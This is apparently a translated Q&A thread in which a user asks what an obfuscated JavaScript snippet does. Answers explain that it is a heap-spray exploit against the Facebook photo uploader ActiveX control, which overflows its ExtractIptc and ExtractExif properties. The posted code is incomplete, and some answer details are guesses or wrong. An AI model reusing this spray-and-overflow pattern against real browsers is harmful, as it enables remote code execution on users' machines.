我不明白这段代码:
function ms(){
var plc=unescape('".
unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage();
if (mf)return(0);
mf=1;
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++) m[i]=ss+plc;
hav();
return(1);
}
在上面的函数中,我似乎无法弄清楚变量类型,或者弄清楚它对hsta
变量做了什么,以及它赋予它的内容:
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;
我也无法弄清楚这个功能:
function fb(){
try {
var obj=null;
obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 400) buf += buf;
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
}
} catch(e){}
return 0;
}
以下代码是什么意思?
cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')
这是什么变量?
var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
最重要的是,该代码段试图做什么?
以下是更多功能:
function hex(num,width){
var digits='0123456789ABCDEF';
var hex=digits.substr(num&0xF,1);
while(num>0xF){
num=num>>>4;
hex=digits.substr(num&0xF,1)+hex;
}
var width=(width?width:0);
while(hex.length<width)hex='0'+hex;
return hex;
}
function addr(addr){
return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4));
}
任何指导都将不胜感激。
答案 0 :(得分:26)
这是一个试图利用与Facebook相关的安全漏洞的javascript代码段,更具体地说是它的图像上传器客户端ActiveX控件。
cobj
部分尝试创建ClassID {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}
的对象,该对象恰好是ActiveX照片上传器控件。 ExtractIptc和ExtractExif函数属于该特定的ActiveX控件。
代码的核心实际上是内存地址操作,移位,使用掩码来分离高位和低位。例如,hex((addr>>16)&0xFFFF,4))
获取一个地址,将其向右移16位,清除下部并将其转换为十六进制数。要真正理解大部分代码,您应该拥有正确的调试工具。
通过Google搜索{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}
ClassID,您会看到一些有趣的结果:
http://www.kb.cert.org/vuls/id/776931
http://seclists.org/fulldisclosure/2008/Feb/0023.html
http://securitytracker.com/alerts/2008/Feb/1019297.html
请注意,这不是PHP。这是javascript。
更多细节......
cobj可能被翻译成CreateObject()调用。每个注册的ActiveX控件都有自己的类ID,它们的格式为{0000000000-0000-0000-0000-000000000000}
。如果要引用已注册的库并创建它的实例,可以使用其名称或类ID。
ActiveX控件本身应该是计算机上的.OCX或.DLL文件。如果您可以找到此文件并对其进行调试,您将获得有关ExtractIptc和ExtractExif函数的最详细信息。同样,这两个函数在以特定方式调用时似乎存在漏洞,而这正是该脚本试图利用的漏洞。
var hsta=0x0c0c0c0c
部分定义变量hsta,等于十六进制数0c0c0c0c。这与撰写var hsta = 202116108
相同。在计算机工程中,处理十六进制地址比处理十进制数更容易,因为计算机内存中的地址和数据是二进制的,可以直接表示为十六进制数。关于十六进制的更多细节:http://en.wikipedia.org/wiki/Hexadecimal。
变量名称hsta似乎是匈牙利符号(第一个字母代表变量类型 - h代表十六进制)。因此我认为它意味着十六进制起始地址(hsta)。按照同样的思路,我的猜测是pl
表示有效载荷,plc
表示有效载荷代码。
有效负载代码是攻击成功时计算机将执行的代码,它是您在脚本(\x43\x43\x43\x43\n....\xEF)
开头看到的代码。对于特定的CPU架构和操作系统,它编码为shell code。这意味着代码已经编译,独立,并且可以直接通过管道传输到CPU。如果你解码这个,你可能会发现一些接近机器代码的东西。这可能没什么好处。
hex(num,width)
函数将十进制数转换为十六进制数。我已经单独测试了这个函数,当它输入1000时它返回了3E8。如果得到的十六进制数大于指定值,则宽度变量只用于退出脚本。
关于这部分:
var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
buf变量是一个缓冲区。缓冲区只不过是内存中的数据。它可以作为字符串接口,如此代码所示。我的猜测是,从0x0c0c0c0c内存中的任何内容创建一个400字节的缓冲区,然后输入两个函数。
这里缺少几个功能定义。即,hav()函数。
答案 1 :(得分:1)
我尽可能地修复了格式,但似乎仍然缺少块。至少,我看到了语法错误,未初始化的变量等等。
如果这是实际工作代码,请编辑您的问题并(使用“代码”按钮“101/010”或只是缩进4个空格而不是用“”按钮引用)发布实际代码,以便我们看到的匹配你所看到的。编辑:不要试图运行这个代码!它可能是恶意的。
如果它不是正常工作的代码,那就是你的答案:它不起作用,所以试图找出它的工作方式是没有意义的。